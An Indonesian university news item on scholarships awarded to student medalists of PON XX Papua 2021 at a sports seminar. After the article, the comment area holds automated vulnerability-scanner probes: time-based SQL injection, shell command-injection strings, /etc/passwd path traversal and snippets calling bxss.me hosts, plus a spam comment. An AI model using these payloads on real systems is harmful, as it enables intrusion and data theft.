Bekasi – Universitas Bhayangkara Jakarta Raya (Ubhara Jaya) memberikan apresiasi dan penghargaan kepada mahasiswa sekaligus atlet peraih medali pada PON XX Tahun 2021 Papua. Penghargaan berupa beasiswa kuliah ini diserahkan langsung oleh Rektor Ubhara Jaya, Inspektur Jenderal Polisi (Purn) Dr. Drs Bambang Karsono, S.H., M.M. dalam kegiatan Seminar Nasional bertema, “Inovasi Sistem Pembinaan dan Kepelatihan dalam Mewujudkan Desain Besar Olahraga Nasional Menuju Indonesia Maju,” yang berlangsung di Auditorium Ubhara Jaya, Selasa Pagi (16/11/2021).
Dalam sambutannya, sebelum memberi penghargaan beasiswa kepada Mahasiswa berprestasi ini, Rektor Ubhara Jaya mengatakan, “Saudara-saudara semua telah berlaga pada PON XX PAPUA dan telah melakukan upaya terbaik, baik secara fisik, taktik dan mental untuk meraih prestasi puncak. Apapun hasilnya, kalian adalah yang terbaik, kalian adalah mahasiswa-mahasiswi terbaik dari Ubhara Jaya. Apresiasi tertinggi dari Rektor dan segenap sivitas akademika Ubhara Jaya atas prestasi dan ikhtiar maksimalnya, “ucap Rektor Ubhara Jaya penuh rasa bangga.
Pada pekan olahraga paling bergengsi di tingkat nasional, PON XX Papua, Ubhara Jaya melalui mahasiswa terbaiknya mampu meraih 3 emas, 1 perak dan 2 perunggu atas nama :
- Edgar Xavier Marvello (Mahasiswa Fakultas Ilmu Pendidikan, atlet peraih 2 Emas dari cabang olahraga Wushu)
- Junaedi (Mahasiswa Fakultas Ilmu Pendidikan, pelatih, menyumbangkan 1 Emas dari cabang olahraga Binaraga)
- Nadine Rizki Athira (Mahasiswa Fakultas Psikologi, atlet peraih medali perak dari cabang olahraga Karate)
- Muhammad Alfiansyah (Mahasiswa Fakultas Ilmu Pendidikan, atlet peraih medali perunggu, cabang olahraga judo)
- Kiki Andrian (Mahasiswa Fakultas Ilmu Pendidikan, atlet peraih medali perunggu, cabang olahraga judo).
Kepada mahasiswa sekaligus atlet nasional berprestasi ini, Ubhara Jaya memberikan beasiswa sebesar 60% biaya kuliah selama 2 semester kepada peraih medali emas dan beasiswa sebesar 30% biaya kuliah selama 2 semester bagi peraih medali perak dan perunggu.
Selain sebagai momentum apresiasi pencapaian prestasi mahasiswa di bidang olahraga, Seminar Nasional ini juga menjadi bagian dari dukungan penuh unsur akademisi dalam strategi pentahelix penyusunan Desain Besar Olahraga Nasional yang tengah gencar disosialisasikan pemerintah.
Rektor Ubhara Jaya mengatakan, “Sebagai salah satu perguruan tinggi swasta yang memiliki Prodi Pendidikan Kepelatihan Olahraga (PKO), yang visinya adalah menyiapkan pelatih handal yang profesional dan sekaligus memiliki kompetensi untuk menjadi guru Pendidikan Jasmani di Sekolah, Ubhara Jaya merasa memiliki tanggungjawab moral untuk turut serta mensosialisasikan dan menyukseskan DBON demi kemajuan olahraga nasional,” tegas Rektor Universitas Bhayangkara Jakarta Raya.
Acara Seminar Nasional ini berlangsung secara hybrid (online dan offline) dengan penerapan protokol kesehatan yang ketat dan dihadiri secara daring oleh setidaknya 400 peserta dari seluruh Indonesia. Acara ditandai penyampaian Keynote Speech oleh Dr. H.C) Ir. Airlangga Hartarto, MBA. MMT, IPU selaku Ketua Umum PB Wushu Indonesia yang juga menjabat sebagai Menteri Koordinator Perekonomian Republik Indonesia.
Airlangga mengapresiasi komitmen Ubhara dalam mendukung para atlet berprestasi untuk melanjutkan pendidikan sebagai bekal masa depannya. Airlangga juga menyebutkan kemajuan dunia olahraga Indonesia harus didukung sinergi semua pihak termasuk dari dunia pendidikan. “Olahraga yang maju ditandai dengan terbentuknya industri olahraga yang menjadi kunci dalam pengembangan olahraga nasional,” ujar Airlangga melalui video yang disiarkan secara daring.
Seminar Nasional Olahraga menghadirkan 2 pembicara dalam diskusi panel yaitu, Prof Dr. Ramdan Pelana, M.Or (Guru Besar Universitas Negeri Jakarta), dan Luluk Hadiyanto S.IA, M.Or (mantan atlet nasional, juara dunia bulutangkis dan praktisi olahraga).
Kedua narasumber menyampaikan paparan terkait pengembangan Desain Besar Olahraga Nasional untuk kemajuan dunia olahraga nasional melalui pendekatan Olahraga Pendidikan dan juga Olahraga Prestasi.
Tim Media dan PublikasiUniversitas Bhayangkara Jakarta Raya
-1 OR 2+555-555-1=0+0+0+1
555
if(now()=sysdate(),sleep(15),0)
555
pHqghUme
555
pHqghUme
-5) OR 669=(SELECT 669 FROM PG_SLEEP(15))–
pHqghUme
jWYBhS7e’) OR 833=(SELECT 833 FROM PG_SLEEP(15))–
pHqghUme
9gfQPE4R’)) OR 922=(SELECT 922 FROM PG_SLEEP(15))–
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
pHqghUme
555
google
This is the perfect webpage for anyone who would like to find out about this topic.
You realize so much its almost hard to argue with you (not that
I actually will need to…HaHa). You definitely put a brand new
spin on a topic which has been written about for a long time.
Excellent stuff, just great!
Anonymous
etpqorctlyijdjrqtwpd
MmzHrrdb
555
MmzHrrdb
1*555
MmzHrrdb
-1); waitfor delay ‘0:0:15’ —
echo wolbsv$()\ hmglzk\nz^xyu||a #' &echo wolbsv$()\ hmglzk\nz^xyu||a #|" &echo wolbsv$()\ hmglzk\nz^xyu||a #
555
${9999403+9999847}
555
pHqghUme
0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
"+"A".concat(70-3).concat(22*4).concat(109).concat(79).concat(122).concat(81)+(require"socket" Socket.gethostbyname("hithe"+"histamia88ccb.bxss.me.")[3].to_s)+"
555
GRLpGpAG
555
GRLpGpAG
<!–
GRLpGpAG' RLIKE (SELECT (CASE WHEN (905=905) THEN 1 ELSE 0x28 END)) --
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
crYuHCaF'; waitfor delay '0:0:15' --
555
btYuUVSP') OR 888=(SELECT 888 FROM PG_SLEEP(15))--
555
GRLpGpAG'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
GRLpGpAG
ezjpSzQT
GRLpGpAG
0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
GRLpGpAG
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
GRLpGpAG
-1); waitfor delay ‘0:0:15’ —
GRLpGpAG
EoGJ3Fy2′; waitfor delay ‘0:0:15’ —
GRLpGpAG
-5) OR 349=(SELECT 349 FROM PG_SLEEP(15))–
GRLpGpAG
UWnOvtR0′ OR 389=(SELECT 389 FROM PG_SLEEP(15))–
GRLpGpAG
njYD1inw’)) OR 558=(SELECT 558 FROM PG_SLEEP(15))–
GRLpGpAG
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
GRLpGpAG
555
QPbmCRVM
555
nFY5tKzJ
555
4uESIt3M
555
QPbmCRVM
“+”A”.concat(70-3).concat(22*4).concat(98).concat(75).concat(114).concat(79)+(require”socket”
Socket.gethostbyname(“hitjy”+”xqzzkqvvb5a5f.bxss.me.”)[3].to_s)+”
QPbmCRVM
0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
QPbmCRVM
1 waitfor delay ‘0:0:15’ —
QPbmCRVM
555
Q6AktYI5
555
pHqghUme
555
CpjJwWHV
555
echo mxvrvq$()\ uzzymu\nz^xyu||a #' &echo mxvrvq$()\ uzzymu\nz^xyu||a #|" &echo mxvrvq$()\ uzzymu\nz^xyu||a #
555
../../../../../../../../../../../../../../etc/passwd
555
CpjJwWHV
“+”A”.concat(70-3).concat(22*4).concat(111).concat(74).concat(115).concat(76)+(require”socket”
Socket.gethostbyname(“hityq”+”xgqprvwge78d6.bxss.me.”)[3].to_s)+”
F9FBjwZB' OR 963=(SELECT 963 FROM PG_SLEEP(15))--
555
@@ALLmg
555
CpjJwWHV
1*555
CpjJwWHV
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
CpjJwWHV
FWCjztJ6′; waitfor delay ‘0:0:15’ —
CpjJwWHV
-1)) OR 558=(SELECT 558 FROM PG_SLEEP(15))–
CpjJwWHV
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
GRLpGpAG
/xfs.bxss.me
911fFDPj
555
pHqghUme
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
pHqghUme
‘”()&%4S0N(9013)
JCfUZQsq
555
JCfUZQsq
SLvJLmHu
".gethostbyname(lc("hityb"."gsmebtnnfdee6.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(84).chr(97).chr(84)."
555
JCfUZQsq
555